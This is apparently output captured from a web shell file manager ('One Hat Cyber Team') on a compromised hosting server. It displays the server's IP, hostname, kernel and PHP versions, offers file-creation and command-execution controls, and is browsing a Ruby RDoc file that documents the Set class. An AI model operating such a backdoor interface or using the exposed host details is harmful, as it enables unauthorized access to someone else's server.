⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.133
Server IP:
185.119.109.197
Server:
Linux managedhosting.chostar.me 5.15.0-160-generic #170-Ubuntu SMP Wed Oct 1 10:06:56 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.1.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
proc
/
self
/
root
/
usr
/
share
/
ri
/
3.0.0
/
system
/
Set
/
View File Name :
cdesc-Set.ri
U:RDoc::NormalClass[iI"Set:ET@I"Object;To:RDoc::Markup::Document:@parts[o;;[ : @fileI"!ext/json/lib/json/add/set.rb;T:0@omit_headings_from_table_of_contents_below0o;;[o:RDoc::Markup::Paragraph;[I"ÁThis library provides the Set class, which deals with a collection of unordered values with no duplicates. It is a hybrid of Array's intuitive inter-operation facilities and Hash's fast lookup.;To;;[I"KThe method
to_set
is added to Enumerable for convenience.;To;;[I"œSet implements a collection of unordered values with no duplicates. This is a hybrid of Array's intuitive inter-operation facilities and Hash's fast lookup.;To;;[I"Set is easy to use with Enumerable objects (implementing
each
). Most of the initializer methods and binary operators accept generic Enumerable objects besides sets and arrays. An Enumerable object can be converted to Set using the
to_set
method.;To;;[I"ESet uses Hash as storage, so you must note the following points:;To:RDoc::Markup::List: @type:BULLET:@items[o:RDoc::Markup::ListItem:@label0;[o;;[I" Equality of elements is determined according to Object#eql? and Object#hash. Use Set#compare_by_identity to make a set compare its elements by their identity.;To;;0;[o;;[I"Set assumes that the identity of each element does not change while it is stored. Modifying an element of a set will render the set to an unreliable state.;To;;0;[o;;[I"{When a string is to be stored, a frozen copy of the string is stored instead unless the original string is already frozen.;TS:RDoc::Markup::Heading: leveli: textI"Comparison;To;;[I"\The comparison operators
<
,
>
,
<=
, and
>=
are implemented as shorthand for the {proper_,}{subset?,superset?} methods. The
<=>
operator reflects this order, or return
nil
for sets that both have distinct elements (
{x, y}
vs.
{x, z}
for example).;TS;;i;I"Example;To:RDoc::Markup::Verbatim;[I"‘require 'set' s1 = Set[1, 2] #=> #
s2 = [1, 2].to_set #=> #
s1 == s2 #=> true s1.add("foo") #=> #
s1.merge([2, 6]) #=> #
s1.subset?(s2) #=> false s2.subset?(s1) #=> true ;T:@format: rubyS;;i;I"Contact;To;; ;;[o;;0;[o;;[I"AAkinori MUSHA
(current maintainer);T; I"lib/set.rb;T; 0; 0; 0[ [ [[I"Enumerable;To;;[ ; @C; 0I"lib/set.rb;T[[I" class;T[[:public[[I"[];T@K[I"json_create;TI"!ext/json/lib/json/add/set.rb;T[I"new;T@K[:protected[ [:private[ [I" instance;T[[;[@[I"&;T@K[I"+;T@K[I"-;T@K[I"<;T@K[I"<<;T@K[I"<=;T@K[I"<=>;T@K[I"==;T@K[I"===;T@K[I">;T@K[I">=;T@K[I"^;T@K[I"add;T@K[I" add?;T@K[I"as_json;T@V[I" classify;T@K[I" clear;T@K[I" collect!;T@K[I"compare_by_identity;T@K[I"compare_by_identity?;T@K[I"delete;T@K[I"delete?;T@K[I"delete_if;T@K[I"difference;T@K[I"disjoint?;T@K[I"divide;T@K[I" each;T@K[I"empty?;T@K[I"filter!;T@K[I"flatten;T@K[I" flatten!;T@K[I" include?;T@K[I"initialize_clone;T@K[I"initialize_dup;T@K[I"inspect;T@K[I"intersect?;T@K[I"intersection;T@K[I" join;T@K[I"keep_if;T@K[I"length;T@K[I" map!;T@K[I"member?;T@K[I" merge;T@K[I"proper_subset?;T@K[I"proper_superset?;T@K[I"reject!;T@K[I"replace;T@K[I" reset;T@K[I"select!;T@K[I" size;T@K[I"subset?;T@K[I" subtract;T@K[I"superset?;T@K[I" to_a;T@K[I"to_json;T@V[I" to_s;T@K[I"to_set;T@K[I" union;T@K[I"|;T@K[;[ [;[ [ [U:RDoc::Context::Section[i 0o;;[ ; 0; 0[@ @C@CcRDoc::TopLevel